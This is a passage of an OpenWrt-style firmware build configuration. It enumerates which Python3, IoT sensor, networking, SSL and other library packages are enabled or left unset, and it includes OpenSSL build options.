CONFIG_PACKAGE_python3-django-picklefield-src is not set # CONFIG_PACKAGE_python3-django-postoffice is not set # CONFIG_PACKAGE_python3-django-postoffice-src is not set # CONFIG_PACKAGE_python3-django-ranged-response is not set # CONFIG_PACKAGE_python3-django-ranged-response-src is not set # CONFIG_PACKAGE_python3-django-restframework is not set # CONFIG_PACKAGE_python3-django-restframework-src is not set # CONFIG_PACKAGE_python3-django-restframework39 is not set # CONFIG_PACKAGE_python3-django-restframework39-src is not set # CONFIG_PACKAGE_python3-django-simple-captcha is not set # CONFIG_PACKAGE_python3-django-simple-captcha-src is not set # CONFIG_PACKAGE_python3-django-src is not set # CONFIG_PACKAGE_python3-django-statici18n is not set # CONFIG_PACKAGE_python3-django-statici18n-src is not set # CONFIG_PACKAGE_python3-django-webpack-loader is not set # CONFIG_PACKAGE_python3-django-webpack-loader-src is not set # CONFIG_PACKAGE_python3-django1 is not set # CONFIG_PACKAGE_python3-django1-src is not set # CONFIG_PACKAGE_python3-dns is not set # CONFIG_PACKAGE_python3-dns-src is not set # CONFIG_PACKAGE_python3-docutils is not set # CONFIG_PACKAGE_python3-docutils-src is not set # CONFIG_PACKAGE_python3-drf-nested-routers is not set # CONFIG_PACKAGE_python3-drf-nested-routers-src is not set # CONFIG_PACKAGE_python3-email is not set # CONFIG_PACKAGE_python3-email-src is not set # CONFIG_PACKAGE_python3-et_xmlfile is not set # CONFIG_PACKAGE_python3-et_xmlfile-src is not set # CONFIG_PACKAGE_python3-evdev is not set # CONFIG_PACKAGE_python3-evdev-src is not set # CONFIG_PACKAGE_python3-flask is not set # CONFIG_PACKAGE_python3-flask-login is not set # CONFIG_PACKAGE_python3-flask-login-src is not set # CONFIG_PACKAGE_python3-flask-src is not set # CONFIG_PACKAGE_python3-flup is not set # CONFIG_PACKAGE_python3-flup-src is not set # CONFIG_PACKAGE_python3-gdbm is not set # CONFIG_PACKAGE_python3-gdbm-src is not set # CONFIG_PACKAGE_python3-gmpy2 is not set # CONFIG_PACKAGE_python3-gmpy2-src is not set # CONFIG_PACKAGE_python3-gnupg is not set # CONFIG_PACKAGE_python3-gunicorn is not set # CONFIG_PACKAGE_python3-gunicorn-src is not set # CONFIG_PACKAGE_python3-hyperlink is not set # CONFIG_PACKAGE_python3-hyperlink-src is not set # CONFIG_PACKAGE_python3-idna is not set # CONFIG_PACKAGE_python3-idna-src is not set # CONFIG_PACKAGE_python3-ifaddr is not set # CONFIG_PACKAGE_python3-ifaddr-src is not set # CONFIG_PACKAGE_python3-incremental is not set # CONFIG_PACKAGE_python3-incremental-src is not set # CONFIG_PACKAGE_python3-influxdb is not set # CONFIG_PACKAGE_python3-influxdb-src is not set # CONFIG_PACKAGE_python3-intelhex is not set # CONFIG_PACKAGE_python3-intelhex-src is not set # CONFIG_PACKAGE_python3-itsdangerous is not set # CONFIG_PACKAGE_python3-itsdangerous-src is not set # CONFIG_PACKAGE_python3-jdcal is not set # CONFIG_PACKAGE_python3-jdcal-src is not set # CONFIG_PACKAGE_python3-jinja2 is not set # CONFIG_PACKAGE_python3-jinja2-src is not set # CONFIG_PACKAGE_python3-jmespath is not set # CONFIG_PACKAGE_python3-jmespath-src is not set # CONFIG_PACKAGE_python3-jsonpath-ng is not set # CONFIG_PACKAGE_python3-jsonpath-ng-src is not set # CONFIG_PACKAGE_python3-lib2to3 is not set # CONFIG_PACKAGE_python3-lib2to3-src is not set # CONFIG_PACKAGE_python3-libmodbus is not set # CONFIG_PACKAGE_python3-light is not set # # Configuration # # CONFIG_PYTHON3_BLUETOOTH_SUPPORT is not set # CONFIG_PACKAGE_python3-light-src is not set # CONFIG_PACKAGE_python3-logging is not set # CONFIG_PACKAGE_python3-logging-src is not set # CONFIG_PACKAGE_python3-lxml is not set # CONFIG_PACKAGE_python3-lxml-src is not set # CONFIG_PACKAGE_python3-lzma is not set # CONFIG_PACKAGE_python3-lzma-src is not set # CONFIG_PACKAGE_python3-markdown is not set # CONFIG_PACKAGE_python3-markdown-src is not set # CONFIG_PACKAGE_python3-markupsafe is not set # CONFIG_PACKAGE_python3-markupsafe-src is not set # CONFIG_PACKAGE_python3-maxminddb is not set # CONFIG_PACKAGE_python3-maxminddb-src is not set # CONFIG_PACKAGE_python3-more-itertools is not set # CONFIG_PACKAGE_python3-more-itertools-src is not set # CONFIG_PACKAGE_python3-multidict is not set # CONFIG_PACKAGE_python3-multidict-src is not set # CONFIG_PACKAGE_python3-multiprocessing is not set # CONFIG_PACKAGE_python3-multiprocessing-src is not set # CONFIG_PACKAGE_python3-mysqlclient is not set # CONFIG_PACKAGE_python3-mysqlclient-src is not set # CONFIG_PACKAGE_python3-ncurses is not set # CONFIG_PACKAGE_python3-ncurses-src is not set # CONFIG_PACKAGE_python3-netdisco is not set # CONFIG_PACKAGE_python3-netdisco-src is not set # CONFIG_PACKAGE_python3-netifaces is not set # CONFIG_PACKAGE_python3-netifaces-src is not set # CONFIG_PACKAGE_python3-oauthlib is not set # CONFIG_PACKAGE_python3-oauthlib-src is not set # CONFIG_PACKAGE_python3-openpyxl is not set # CONFIG_PACKAGE_python3-openpyxl-src is not set # CONFIG_PACKAGE_python3-openssl is not set # CONFIG_PACKAGE_python3-openssl-src is not set # CONFIG_PACKAGE_python3-paho-mqtt is not set # CONFIG_PACKAGE_python3-paho-mqtt-src is not set # CONFIG_PACKAGE_python3-parsley is not set # CONFIG_PACKAGE_python3-parsley-src is not set # CONFIG_PACKAGE_python3-passlib is not set # CONFIG_PACKAGE_python3-passlib-src is not set # CONFIG_PACKAGE_python3-pillow is not set # CONFIG_PACKAGE_python3-pillow-src is not set # CONFIG_PACKAGE_python3-pip is not set # CONFIG_PACKAGE_python3-pip-src is not set # CONFIG_PACKAGE_python3-pkg-resources is not set # CONFIG_PACKAGE_python3-pkg-resources-src is not set # CONFIG_PACKAGE_python3-ply is not set # CONFIG_PACKAGE_python3-ply-src is not set # CONFIG_PACKAGE_python3-py is not set # CONFIG_PACKAGE_python3-py-src is not set # CONFIG_PACKAGE_python3-pyasn1 is not set # CONFIG_PACKAGE_python3-pyasn1-modules is not set # CONFIG_PACKAGE_python3-pyasn1-modules-src is not set # CONFIG_PACKAGE_python3-pyasn1-src is not set # CONFIG_PACKAGE_python3-pycparser is not set # CONFIG_PACKAGE_python3-pycparser-src is not set # CONFIG_PACKAGE_python3-pydoc is not set # CONFIG_PACKAGE_python3-pydoc-src is not set # CONFIG_PACKAGE_python3-pyjwt is not set # CONFIG_PACKAGE_python3-pyjwt-src is not set # CONFIG_PACKAGE_python3-pymysql is not set # CONFIG_PACKAGE_python3-pymysql-src is not set # CONFIG_PACKAGE_python3-pyodbc is not set # CONFIG_PACKAGE_python3-pyopenssl is not set # CONFIG_PACKAGE_python3-pyopenssl-src is not set # CONFIG_PACKAGE_python3-pyotp is not set # CONFIG_PACKAGE_python3-pyotp-src is not set # CONFIG_PACKAGE_python3-pyparsing is not set # CONFIG_PACKAGE_python3-pyparsing-src is not set # CONFIG_PACKAGE_python3-pyroute2 is not set # CONFIG_PACKAGE_python3-pyroute2-src is not set # CONFIG_PACKAGE_python3-pyrsistent is not set # CONFIG_PACKAGE_python3-pyrsistent-src is not set # CONFIG_PACKAGE_python3-pyserial is not set # CONFIG_PACKAGE_python3-pyserial-src is not set # CONFIG_PACKAGE_python3-pytz is not set # CONFIG_PACKAGE_python3-pytz-src is not set # CONFIG_PACKAGE_python3-qrcode is not set # CONFIG_PACKAGE_python3-qrcode-src is not set # CONFIG_PACKAGE_python3-rcssmin is not set # CONFIG_PACKAGE_python3-rcssmin-src is not set # CONFIG_PACKAGE_python3-requests is not set # CONFIG_PACKAGE_python3-requests-oauthlib is not set # CONFIG_PACKAGE_python3-requests-oauthlib-src is not set # CONFIG_PACKAGE_python3-requests-src is not set # CONFIG_PACKAGE_python3-rsa is not set # CONFIG_PACKAGE_python3-rsa-src is not set # CONFIG_PACKAGE_python3-ruamel-yaml is not set # CONFIG_PACKAGE_python3-ruamel-yaml-src is not set # CONFIG_PACKAGE_python3-s3transfer is not set # CONFIG_PACKAGE_python3-s3transfer-src is not set # CONFIG_PACKAGE_python3-schedule is not set # CONFIG_PACKAGE_python3-schedule-src is not set # CONFIG_PACKAGE_python3-schema is not set # CONFIG_PACKAGE_python3-schema-src is not set # CONFIG_PACKAGE_python3-seafile-ccnet is not set # CONFIG_PACKAGE_python3-seafile-ccnet-src is not set # CONFIG_PACKAGE_python3-seafile-server is not set # CONFIG_PACKAGE_python3-seafile-server-src is not set # CONFIG_PACKAGE_python3-searpc is not set # CONFIG_PACKAGE_python3-searpc-src is not set # CONFIG_PACKAGE_python3-sentry-sdk is not set # CONFIG_PACKAGE_python3-sentry-sdk-src is not set # CONFIG_PACKAGE_python3-service-identity is not set # CONFIG_PACKAGE_python3-service-identity-src is not set # CONFIG_PACKAGE_python3-setuptools is not set # CONFIG_PACKAGE_python3-setuptools-src is not set # CONFIG_PACKAGE_python3-simplejson is not set # CONFIG_PACKAGE_python3-simplejson-src is not set # CONFIG_PACKAGE_python3-six is not set # CONFIG_PACKAGE_python3-six-src is not set # CONFIG_PACKAGE_python3-slugify is not set # CONFIG_PACKAGE_python3-slugify-src is not set # CONFIG_PACKAGE_python3-smbus is not set # CONFIG_PACKAGE_python3-speedtest-cli is not set # CONFIG_PACKAGE_python3-speedtest-cli-src is not set # CONFIG_PACKAGE_python3-sqlalchemy is not set # CONFIG_PACKAGE_python3-sqlalchemy-src is not set # CONFIG_PACKAGE_python3-sqlite3 is not set # CONFIG_PACKAGE_python3-sqlite3-src is not set # CONFIG_PACKAGE_python3-sqlparse is not set # CONFIG_PACKAGE_python3-sqlparse-src is not set # CONFIG_PACKAGE_python3-stem is not set # CONFIG_PACKAGE_python3-stem-src is not set # CONFIG_PACKAGE_python3-text-unidecode is not set # CONFIG_PACKAGE_python3-text-unidecode-src is not set # CONFIG_PACKAGE_python3-twisted is not set # CONFIG_PACKAGE_python3-twisted-src is not set # CONFIG_PACKAGE_python3-unidecode is not set # CONFIG_PACKAGE_python3-unidecode-src is not set # CONFIG_PACKAGE_python3-unittest is not set # CONFIG_PACKAGE_python3-unittest-src is not set # CONFIG_PACKAGE_python3-urllib is not set # CONFIG_PACKAGE_python3-urllib-src is not set # CONFIG_PACKAGE_python3-urllib3 is not set # CONFIG_PACKAGE_python3-urllib3-src is not set # CONFIG_PACKAGE_python3-vobject is not set # CONFIG_PACKAGE_python3-vobject-src is not set # CONFIG_PACKAGE_python3-voluptuous is not set # CONFIG_PACKAGE_python3-voluptuous-serialize is not set # CONFIG_PACKAGE_python3-voluptuous-serialize-src is not set # CONFIG_PACKAGE_python3-voluptuous-src is not set # CONFIG_PACKAGE_python3-wcwidth is not set # CONFIG_PACKAGE_python3-wcwidth-src is not set # CONFIG_PACKAGE_python3-werkzeug is not set # CONFIG_PACKAGE_python3-werkzeug-src is not set # CONFIG_PACKAGE_python3-xml is not set # CONFIG_PACKAGE_python3-xml-src is not set # CONFIG_PACKAGE_python3-xmltodict is not set # CONFIG_PACKAGE_python3-xmltodict-src is not set # CONFIG_PACKAGE_python3-yaml is not set # CONFIG_PACKAGE_python3-yaml-src is not set # CONFIG_PACKAGE_python3-yarl is not set # CONFIG_PACKAGE_python3-yarl-src is not set # CONFIG_PACKAGE_python3-zeroconf is not set # CONFIG_PACKAGE_python3-zeroconf-src is not set # CONFIG_PACKAGE_python3-zipp is not set # CONFIG_PACKAGE_python3-zipp-src is not set # CONFIG_PACKAGE_python3-zope-interface is not set # CONFIG_PACKAGE_python3-zope-interface-src is not set # # Ruby # # CONFIG_PACKAGE_ruby is not set # # Tcl # # CONFIG_PACKAGE_vala is not set # # Libraries # # # Compression # # CONFIG_PACKAGE_libbz2 is not set # CONFIG_PACKAGE_liblzma is not set # CONFIG_PACKAGE_libunrar is not set # CONFIG_PACKAGE_libzstd is not set CONFIG_ZSTD_OPTIMIZE_O3=y # # Filesystem # # CONFIG_PACKAGE_libacl is not set # CONFIG_PACKAGE_libattr is not set # CONFIG_PACKAGE_libfuse is not set # CONFIG_PACKAGE_libow is not set # CONFIG_PACKAGE_libow-capi is not set # CONFIG_PACKAGE_libsysfs is not set # # Firewall # # CONFIG_PACKAGE_libfko is not set CONFIG_PACKAGE_libip4tc=y CONFIG_PACKAGE_libip6tc=y CONFIG_PACKAGE_libxtables=y # CONFIG_PACKAGE_libxtables-nft is not set # # Instant Messaging # # CONFIG_PACKAGE_quasselc is not set # # IoT # # CONFIG_PACKAGE_libupm is not set # CONFIG_PACKAGE_libupm-a110x is not set # CONFIG_PACKAGE_libupm-ad8232 is not set # CONFIG_PACKAGE_libupm-adafruitss is not set # CONFIG_PACKAGE_libupm-adc121c021 is not set # CONFIG_PACKAGE_libupm-adis16448 is not set # CONFIG_PACKAGE_libupm-adxl335 is not set # CONFIG_PACKAGE_libupm-adxl345 is not set # CONFIG_PACKAGE_libupm-am2315 is not set # CONFIG_PACKAGE_libupm-apds9002 is not set # CONFIG_PACKAGE_libupm-at42qt1070 is not set # CONFIG_PACKAGE_libupm-biss0001 is not set # CONFIG_PACKAGE_libupm-bmpx8x is not set # CONFIG_PACKAGE_libupm-buzzer is not set # CONFIG_PACKAGE_libupm-cjq4435 is not set # CONFIG_PACKAGE_libupm-ds1307 is not set # CONFIG_PACKAGE_libupm-ecs1030 is not set # CONFIG_PACKAGE_libupm-enc03r is not set # CONFIG_PACKAGE_libupm-flex is not set # CONFIG_PACKAGE_libupm-gas is not set # CONFIG_PACKAGE_libupm-gp2y0a is not set # CONFIG_PACKAGE_libupm-grove is not set # CONFIG_PACKAGE_libupm-grovecircularled is not set # CONFIG_PACKAGE_libupm-grovecollision is not set # CONFIG_PACKAGE_libupm-groveehr is not set # CONFIG_PACKAGE_libupm-groveeldriver is not set # CONFIG_PACKAGE_libupm-groveelectromagnet is not set # CONFIG_PACKAGE_libupm-groveemg is not set # CONFIG_PACKAGE_libupm-grovegprs is not set # CONFIG_PACKAGE_libupm-grovegsr is not set # CONFIG_PACKAGE_libupm-grovelinefinder is not set # CONFIG_PACKAGE_libupm-grovemd is not set # CONFIG_PACKAGE_libupm-grovemoisture is not set # CONFIG_PACKAGE_libupm-groveo2 is not set # CONFIG_PACKAGE_libupm-grovescam is not set # CONFIG_PACKAGE_libupm-grovespeaker is not set # CONFIG_PACKAGE_libupm-grovevdiv is not set # CONFIG_PACKAGE_libupm-grovewater is not set # CONFIG_PACKAGE_libupm-grovewfs is not set # CONFIG_PACKAGE_libupm-guvas12d is not set # CONFIG_PACKAGE_libupm-h3lis331dl is not set # CONFIG_PACKAGE_libupm-hcsr04 is not set # CONFIG_PACKAGE_libupm-hm11 is not set # CONFIG_PACKAGE_libupm-hmc5883l is not set # CONFIG_PACKAGE_libupm-hmtrp is not set # CONFIG_PACKAGE_libupm-hp20x is not set # CONFIG_PACKAGE_libupm-ht9170 is not set # CONFIG_PACKAGE_libupm-htu21d is not set # CONFIG_PACKAGE_libupm-hx711 is not set # CONFIG_PACKAGE_libupm-i2clcd is not set # CONFIG_PACKAGE_libupm-ina132 is not set # CONFIG_PACKAGE_libupm-isd1820 is not set # CONFIG_PACKAGE_libupm-itg3200 is not set # CONFIG_PACKAGE_libupm-joystick12 is not set # CONFIG_PACKAGE_libupm-l298 is not set # CONFIG_PACKAGE_libupm-ldt0028 is not set # CONFIG_PACKAGE_libupm-lm35 is not set # CONFIG_PACKAGE_libupm-lol is not set # CONFIG_PACKAGE_libupm-loudness is not set # CONFIG_PACKAGE_libupm-lpd8806 is not set # CONFIG_PACKAGE_libupm-lsm303 is not set # CONFIG_PACKAGE_libupm-lsm9ds0 is not set # CONFIG_PACKAGE_libupm-m24lr64e is not set # CONFIG_PACKAGE_libupm-max31723 is not set # CONFIG_PACKAGE_libupm-max31855 is not set # CONFIG_PACKAGE_libupm-max44000 is not set # CONFIG_PACKAGE_libupm-max5487 is not set # CONFIG_PACKAGE_libupm-maxds3231m is not set # CONFIG_PACKAGE_libupm-maxsonarez is not set # CONFIG_PACKAGE_libupm-mg811 is not set # CONFIG_PACKAGE_libupm-mhz16 is not set # CONFIG_PACKAGE_libupm-mic is not set # CONFIG_PACKAGE_libupm-mlx90614 is not set # CONFIG_PACKAGE_libupm-mma7455 is not set # CONFIG_PACKAGE_libupm-mma7660 is not set # CONFIG_PACKAGE_libupm-mpl3115a2 is not set # CONFIG_PACKAGE_libupm-mpr121 is not set # CONFIG_PACKAGE_libupm-mpu9150 is not set # CONFIG_PACKAGE_libupm-mq303a is not set # CONFIG_PACKAGE_libupm-my9221 is not set # CONFIG_PACKAGE_libupm-nrf24l01 is not set # CONFIG_PACKAGE_libupm-nrf8001 is not set # CONFIG_PACKAGE_libupm-nunchuck is not set # CONFIG_PACKAGE_libupm-otp538u is not set # CONFIG_PACKAGE_libupm-pn532 is not set # CONFIG_PACKAGE_libupm-ppd42ns is not set # CONFIG_PACKAGE_libupm-pulsensor is not set # CONFIG_PACKAGE_libupm-rfr359f is not set # CONFIG_PACKAGE_libupm-rgbringcoder is not set # CONFIG_PACKAGE_libupm-rotaryencoder is not set # CONFIG_PACKAGE_libupm-rpr220 is not set # CONFIG_PACKAGE_libupm-servo is not set # CONFIG_PACKAGE_libupm-si114x is not set # CONFIG_PACKAGE_libupm-sm130 is not set # CONFIG_PACKAGE_libupm-st7735 is not set # CONFIG_PACKAGE_libupm-stepmotor is not set # CONFIG_PACKAGE_libupm-sx6119 is not set # CONFIG_PACKAGE_libupm-ta12200 is not set # CONFIG_PACKAGE_libupm-tcs3414cs is not set # CONFIG_PACKAGE_libupm-th02 is not set # CONFIG_PACKAGE_libupm-tm1637 is not set # CONFIG_PACKAGE_libupm-tsl2561 is not set # CONFIG_PACKAGE_libupm-ttp223 is not set # CONFIG_PACKAGE_libupm-ublox6 is not set # CONFIG_PACKAGE_libupm-uln200xa is not set # CONFIG_PACKAGE_libupm-waterlevel is not set # CONFIG_PACKAGE_libupm-wheelencoder is not set # CONFIG_PACKAGE_libupm-wt5001 is not set # CONFIG_PACKAGE_libupm-yg1006 is not set # CONFIG_PACKAGE_libupm-zfm20 is not set # # Languages # # CONFIG_PACKAGE_libyaml is not set # # Networking # # CONFIG_PACKAGE_libdcwproto is not set # CONFIG_PACKAGE_libdcwsocket is not set # CONFIG_PACKAGE_libsctp is not set # CONFIG_PACKAGE_libuhttpd-mbedtls is not set # CONFIG_PACKAGE_libuhttpd-nossl is not set # CONFIG_PACKAGE_libuhttpd-openssl is not set # CONFIG_PACKAGE_libuhttpd-wolfssl is not set # CONFIG_PACKAGE_libunbound is not set # CONFIG_PACKAGE_libunbound-heavy is not set # CONFIG_PACKAGE_libuwsc-mbedtls is not set # CONFIG_PACKAGE_libuwsc-nossl is not set # CONFIG_PACKAGE_libuwsc-openssl is not set # CONFIG_PACKAGE_libuwsc-wolfssl is not set # # Qt5 # # CONFIG_PACKAGE_qt5-core is not set # CONFIG_PACKAGE_qt5-network is not set # CONFIG_PACKAGE_qt5-xml is not set # # SSL # # CONFIG_PACKAGE_libgnutls is not set # CONFIG_PACKAGE_libmbedtls is not set CONFIG_PACKAGE_libopenssl=y # # Build Options # CONFIG_OPENSSL_OPTIMIZE_SPEED=y CONFIG_OPENSSL_WITH_ASM=y CONFIG_OPENSSL_WITH_DEPRECATED=y # CONFIG_OPENSSL_NO_DEPRECATED is not set # CONFIG_OPENSSL_WITH_ERROR_MESSAGES is not set # # Protocol Support # CONFIG_OPENSSL_WITH_TLS13=y # CONFIG_OPENSSL_WITH_DTLS is not set # CONFIG_OPENSSL_WITH_NPN is not set CONFIG_OPENSSL_WITH_SRP=y CONFIG_OPENSSL_WITH_CMS=y # # Algorithm Selection # # CONFIG_OPENSSL_WITH_EC2M is not set CONFIG_OPENSSL_WITH_CHACHA_POLY1305=y CONFIG_OPENSSL_PREFER_CHACHA_OVER_GCM=y CONFIG_OPENSSL_WITH_PSK=y # # Less commonly used build options # # CONFIG_OPENSSL_WITH_ARIA is not set # CONFIG_OPENSSL_WITH_CAMELLIA is not set # CONFIG_OPENSSL_WITH_IDEA is not set # CONFIG_OPENSSL_WITH_SEED is not set # CONFIG_OPENSSL_WITH_SM234 is not set # CONFIG_OPENSSL_WITH_BLAKE2 is not set # CONFIG_OPENSSL_WITH_MDC2 is not set # CONFIG_OPENSSL_WITH_WHIRLPOOL is not set # CONFIG_OPENSSL_WITH_COMPRESSION is not set # CONFIG_OPENSSL_WITH_RFC3779 is not set # # Engine/Hardware Support # CONFIG_OPENSSL_ENGINE=y CONFIG_OPENSSL_ENGINE_BUILTIN=y CONFIG_OPENSSL_ENGINE_BUILTIN_DEVCRYPTO=y # CONFIG_OPENSSL_WITH_GOST is not set CONFIG_PACKAGE_libopenssl-conf=y # CONFIG_PACKAGE_libopenssl-devcrypto is not set # CONFIG_PACKAGE_libpolarssl is not set # CONFIG_PACKAGE_libwolfssl is not set # # Sound # # CONFIG_PACKAGE_liblo is not set # # database # # CONFIG_PACKAGE_libpq is not set # CONFIG_PACKAGE_libsqlite3 is not set # CONFIG_PACKAGE_pgsqlodbc is not set # CONFIG_PACKAGE_psqlodbca is not set # CONFIG_PACKAGE_psqlodbcw is not set # CONFIG_PACKAGE_tdb is not set # CONFIG_PACKAGE_unixodbc is not set # # libelektra # # CONFIG_PACKAGE_libelektra-boost is not set # CONFIG_PACKAGE_libelektra-core is not set # CONFIG_PACKAGE_libelektra-cpp is not set # CONFIG_PACKAGE_libelektra-crypto is not set # CONFIG_PACKAGE_libelektra-curlget is not set # CONFIG_PACKAGE_libelektra-dbus is not set # CONFIG_PACKAGE_libelektra-extra is not set # CONFIG_PACKAGE_libelektra-lua is not set # CONFIG_PACKAGE_libelektra-plugins is not set # CONFIG_PACKAGE_libelektra-python2 is not set # CONFIG_PACKAGE_libelektra-python3 is not set # CONFIG_PACKAGE_libelektra-resolvers is not set # CONFIG_PACKAGE_libelektra-xerces is not set # CONFIG_PACKAGE_libelektra-xml is not set # CONFIG_PACKAGE_libelektra-yajl is not set # CONFIG_PACKAGE_libelektra-yamlcpp is not set # CONFIG_PACKAGE_alsa-lib is not set # CONFIG_PACKAGE_argp-standalone is not set # CONFIG_PACKAGE_avro-c is not set # CONFIG_PACKAGE_bind-libs is not set # CONFIG_PACKAGE_bluez-libs is not set # CONFIG_PACKAGE_boost is not set # CONFIG_boost-context-exclude is not set # CONFIG_boost-coroutine-exclude is not set # CONFIG_boost-fiber-exclude is not set # CONFIG_PACKAGE_ccid is not set # CONFIG_PACKAGE_check is not set # CONFIG_PACKAGE_classpath is not set # CONFIG_PACKAGE_classpath-tools is not set # CONFIG_PACKAGE_confuse is not set # CONFIG_PACKAGE_dtndht is not set # CONFIG_PACKAGE_fcgi is not set # CONFIG_PACKAGE_fftw3 is not set # CONFIG_PACKAGE_fftw3f is not set # CONFIG_PACKAGE_getdns is not set # CONFIG_PACKAGE_giflib is not set # CONFIG_PACKAGE_glib2 is not set # CONFIG_PACKAGE_glog is not set # CONFIG_PACKAGE_hidapi is not set # CONFIG_PACKAGE_ibrcommon is not set # CONFIG_PACKAGE_ibrdtn is not set # CONFIG_PACKAGE_icu is not set # CONFIG_PACKAGE_icu-data-tools is not set # CONFIG_PACKAGE_icu-full-data is not set # CONFIG_PACKAGE_jansson is not set # CONFIG_PACKAGE_knot-libs is not set # CONFIG_PACKAGE_knot-libzscanner is not set # CONFIG_PACKAGE_libaio is not set # CONFIG_PACKAGE_libalac is not set # CONFIG_PACKAGE_libantlr3c is not set # CONFIG_PACKAGE_libao is not set # CONFIG_PACKAGE_libapr is not set # CONFIG_PACKAGE_libaprutil is not set # CONFIG_PACKAGE_libarchive is not set # CONFIG_PACKAGE_libarchive-noopenssl is not set # CONFIG_PACKAGE_libartnet is not set # CONFIG_PACKAGE_libasm is not set # CONFIG_PACKAGE_libaudiofile is not set # CONFIG_PACKAGE_libavahi-client is not set # CONFIG_PACKAGE_libavahi-compat-libdnssd is not set # CONFIG_PACKAGE_libavahi-dbus-support is not set # CONFIG_PACKAGE_libavahi-nodbus-support is not set # CONFIG_PACKAGE_libavl is not set # CONFIG_PACKAGE_libbfd is not set # CONFIG_PACKAGE_libblkid is not set CONFIG_PACKAGE_libblobmsg-json=y # CONFIG_PACKAGE_libbsd is not set # CONFIG_PACKAGE_libcanfestival is not set # CONFIG_PACKAGE_libcap is not set # CONFIG_PACKAGE_libcares is not set # CONFIG_PACKAGE_libcharset is not set # CONFIG_PACKAGE_libcoap is not set # CONFIG_PACKAGE_libcomerr is not set # CONFIG_PACKAGE_libconfig is not set # CONFIG_PACKAGE_libcryptopp is not set # CONFIG_PACKAGE_libcurl is not set # CONFIG_PACKAGE_libcxx is not set # CONFIG_PACKAGE_libdaemon is not set # CONFIG_PACKAGE_libdaq is not set # CONFIG_PACKAGE_libdb47 is not set # CONFIG_PACKAGE_libdb47xx is not set # CONFIG_PACKAGE_libdbi is not set # CONFIG_PACKAGE_libdbus is not set # CONFIG_PACKAGE_libdevmapper is not set # CONFIG_PACKAGE_libdmapsharing is not set # CONFIG_PACKAGE_libdnet is not set # CONFIG_PACKAGE_libdouble-conversion is not set # CONFIG_PACKAGE_libdrm is not set # CONFIG_PACKAGE_libdw is not set # CONFIG_PACKAGE_libecdsautil is not set # CONFIG_PACKAGE_libedit is not set CONFIG_PACKAGE_libelf=y # CONFIG_PACKAGE_libesmtp is not set # CONFIG_PACKAGE_libestr is not set # CONFIG_PACKAGE_libev is not set # CONFIG_PACKAGE_libevdev is not set # CONFIG_PACKAGE_libevent2 is not set # CONFIG_PACKAGE_libevent2-core is not set # CONFIG_PACKAGE_libevent2-extra is not set # CONFIG_PACKAGE_libevent2-openssl is not set # CONFIG_PACKAGE_libevent2-pthreads is not set # CONFIG_PACKAGE_libeventlog is not set # CONFIG_PACKAGE_libevhtp is not set # CONFIG_PACKAGE_libexif is not set # CONFIG_PACKAGE_libexpat is not set # CONFIG_PACKAGE_libexslt is not set # CONFIG_PACKAGE_libext2fs is not set # CONFIG_PACKAGE_libextractor is not set # CONFIG_PACKAGE_libf2fs is not set # CONFIG_PACKAGE_libfaad2 is not set # CONFIG_PACKAGE_libfastjson is not set # CONFIG_PACKAGE_libfdisk is not set # CONFIG_PACKAGE_libfdt is not set # CONFIG_PACKAGE_libffi is not set # CONFIG_PACKAGE_libffmpeg-audio-dec is not set # CONFIG_PACKAGE_libffmpeg-custom is not set # CONFIG_PACKAGE_libffmpeg-full is not set # CONFIG_PACKAGE_libffmpeg-mini is not set # CONFIG_PACKAGE_libflac is not set # CONFIG_PACKAGE_libfmt is not set # CONFIG_PACKAGE_libfreetype is not set # CONFIG_PACKAGE_libftdi is not set # CONFIG_PACKAGE_libftdi1 is not set # CONFIG_PACKAGE_libgcrypt is not set # CONFIG_PACKAGE_libgd is not set # CONFIG_PACKAGE_libgdbm is not set # CONFIG_PACKAGE_libgee is not set # CONFIG_PACKAGE_libglpk is not set # CONFIG_PACKAGE_libgmp is not set # CONFIG_PACKAGE_libgnurl is not set # CONFIG_PACKAGE_libgpg-error is not set # CONFIG_PACKAGE_libgphoto2 is not set # CONFIG_PACKAGE_libgpiod is not set # CONFIG_PACKAGE_libgps is not set # CONFIG_PACKAGE_libhamlib is not set # CONFIG_PACKAGE_libhavege is not set # CONFIG_PACKAGE_libhiredis is not set # CONFIG_PACKAGE_libhttp-parser is not set # CONFIG_PACKAGE_libhwloc is not set # CONFIG_PACKAGE_libical is not set # CONFIG_PACKAGE_libiconv is not set # CONFIG_PACKAGE_libiconv-full is not set # CONFIG_PACKAGE_libid3tag is not set # CONFIG_PACKAGE_libidn is not set # CONFIG_PACKAGE_libidn2 is not set # CONFIG_PACKAGE_libiio is not set # CONFIG_PACKAGE_libimobiledevice is not set # CONFIG_PACKAGE_libinotifytools is not set # CONFIG_PACKAGE_libinput is not set # CONFIG_PACKAGE_libintl is not set # CONFIG_PACKAGE_libintl-full is not set # CONFIG_PACKAGE_libiw is not set CONFIG_PACKAGE_libiwinfo=y # CONFIG_PACKAGE_libjpeg is not set CONFIG_PACKAGE_libjson-c=y # CONFIG_PACKAGE_libkeyutils is not set # CONFIG_PACKAGE_libkmod is not set # CONFIG_PACKAGE_libldns is not set # CONFIG_PACKAGE_libltdl is not set CONFIG_PACKAGE_liblua=y # CONFIG_PACKAGE_liblz4 is not set # CONFIG_PACKAGE_liblzo is not set # CONFIG_PACKAGE_libmad is not set # CONFIG_PACKAGE_libmagic is not set # CONFIG_PACKAGE_libmariadb is not set # CONFIG_PACKAGE_libmaxminddb is not set # CONFIG_PACKAGE_libmbim is not set # CONFIG_PACKAGE_libmcrypt is not set # CONFIG_PACKAGE_libmicrohttpd-no-ssl is not set # CONFIG_PACKAGE_libmicrohttpd-ssl is not set # CONFIG_PACKAGE_libmilter-sendmail is not set # CONFIG_PACKAGE_libminiupnpc is not set # CONFIG_PACKAGE_libmms is not set CONFIG_PACKAGE_libmnl=y # CONFIG_PACKAGE_libmodbus is not set # CONFIG_PACKAGE_libmosquitto-nossl is not set # CONFIG_PACKAGE_libmosquitto-ssl is not set # CONFIG_PACKAGE_libmount is not set # CONFIG_PACKAGE_libmpdclient is not set # CONFIG_PACKAGE_libmpeg2 is not set # CONFIG_PACKAGE_libmpg123 is not set # CONFIG_PACKAGE_libmraa is not set # CONFIG_PACKAGE_libnatpmp is not set # CONFIG_PACKAGE_libncurses is not set # CONFIG_PACKAGE_libndpi is not set # CONFIG_PACKAGE_libneon is not set # CONFIG_PACKAGE_libnet-1.2.x is not set # CONFIG_PACKAGE_libnetconf2 is not set # CONFIG_PACKAGE_libnetfilter-acct is not set # CONFIG_PACKAGE_libnetfilter-conntrack is not set # CONFIG_PACKAGE_libnetfilter-cthelper is not set # 